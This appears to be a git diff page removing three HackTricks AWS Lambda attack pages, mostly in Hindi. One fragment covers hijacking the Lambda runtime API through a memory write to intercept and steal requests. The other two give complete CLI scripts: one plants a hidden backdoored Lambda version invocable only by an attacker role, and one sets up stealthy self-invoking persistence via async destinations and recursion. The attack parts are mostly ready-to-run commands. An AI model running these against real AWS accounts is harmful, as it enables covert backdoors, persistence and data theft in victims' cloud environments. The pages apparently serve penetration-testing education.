> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट नंबर को बदलना संभव होता है।
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
|
||||
क्योंकि **एक्सटेंशन्स किसी भी रनटाइम कोड से पहले चलती हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होती है। इसके अलावा, **हमारे बाद लोड की गई एक्सटेंशन्स**, जो इस चर पर निर्भर करती हैं, भी हमारे एक्सटेंशन के माध्यम से रूट होंगी। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशन्स को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं।
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से संवेदनशील जानकारी **चुराने**, अन्य **एक्सटेंशन्स** **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए बनाया गया था।
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## सारांश
|
||||
|
||||
हमलावर लॉजिक के साथ एक छुपी हुई Lambda version बनाएं और `lambda add-permission` में `--qualifier` पैरामीटर का उपयोग करके resource-based policy को उस विशिष्ट version (या alias) तक सीमित करें। केवल `lambda:InvokeFunction` को `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` पर एक हमलावर principal को दें। फ़ंक्शन नाम या मुख्य alias के माध्यम से सामान्य invocations अप्रभावित रहते हैं, जबकि हमलावर सीधे backdoored version ARN को invoke कर सकता है।
|
||||
|
||||
यह Function URL को एक्सपोज़ करने की तुलना में अधिक stealthier है और प्राथमिक ट्रैफिक alias को बदलता नहीं है।
|
||||
|
||||
## आवश्यक अनुमतियाँ (हमलावर)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (हमलावर principal का अनुकरण करने के लिए)
|
||||
|
||||
## हमले के चरण (CLI)
|
||||
|
||||
<details>
|
||||
<summary>छुपा हुआ version प्रकाशित करें, qualifier-स्कोप्ड permission जोड़ें, हमलावर के रूप में invoke करें</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## प्रभाव
|
||||
|
||||
- एक stealthy backdoor प्रदान करता है जो primary alias को संशोधित किए बिना या Function URL को उजागर किए बिना फ़ंक्शन के छिपे हुए version को invoke करने की अनुमति देता है।
|
||||
- resource-based policy `Qualifier` के माध्यम से exposure को केवल निर्दिष्ट version/alias तक सीमित करता है, जिससे detection surface घटती है जबकि attacker principal के लिए reliable invocation बरकरार रहती है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,96 +0,0 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Lambda के asynchronous Destinations और Recursion configuration का दुरुपयोग करके किसी function को बिना किसी external scheduler (कोई EventBridge, cron, आदि नहीं) लगातार खुद को पुनः-invoke करने के लिए मजबूर किया जा सकता है। डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate कर देता है, लेकिन recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations async invokes के लिए service-side पर deliver करते हैं, इसलिए एक single seed invoke एक stealthy, बिना code वाला heartbeat/backdoor channel बना देता है। शोर कम रखने के लिए optional रूप से reserved concurrency के साथ throttle करें।
|
||||
|
||||
नोट्स
|
||||
- Lambda सीधे तौर पर function को उसका खुद का destination बनाने की अनुमति नहीं देता। destination के रूप में function alias का उपयोग करें और execution role को उस alias को invoke करने की अनुमति दें।
|
||||
- Minimum permissions: target function के event invoke config और recursion config को read/update करने की क्षमता, एक version publish करने और alias manage करने की क्षमता, और function के execution role policy को update करने की क्षमता ताकि alias पर lambda:InvokeFunction की अनुमति दी जा सके।
|
||||
|
||||
## आवश्यकताएँ
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## चरण
|
||||
|
||||
1) function ARN और वर्तमान recursion setting प्राप्त करें
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) एक संस्करण प्रकाशित करें और एक alias बनाएं/अपडेट करें (self destination के रूप में उपयोग किया जाता है)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) फ़ंक्शन निष्पादन भूमिका को alias को invoke करने की अनुमति दें (Lambda Destinations→Lambda के लिए आवश्यक)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) async destination को alias (self via alias) पर कॉन्फ़िगर करें और retries को निष्क्रिय करें
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) पुनरावर्ती लूप्स की अनुमति दें
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) एकल असिंक्रोनस invoke आरंभ करें
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) लगातार invocations का अवलोकन करें (उदाहरण)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) वैकल्पिक स्टील्थ थ्रॉटल
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## सफाई
|
||||
|
||||
loop को तोड़ें और persistence हटाएँ।
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impact
|
||||
- Single async invoke Lambda को किसी बाहरी scheduler के बिना लगातार खुद को पुनः invoke करने का कारण बनता है, जिससे stealthy persistence/heartbeat सक्षम होता है। Reserved concurrency शोर को एक single warm execution तक सीमित कर सकता है।
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user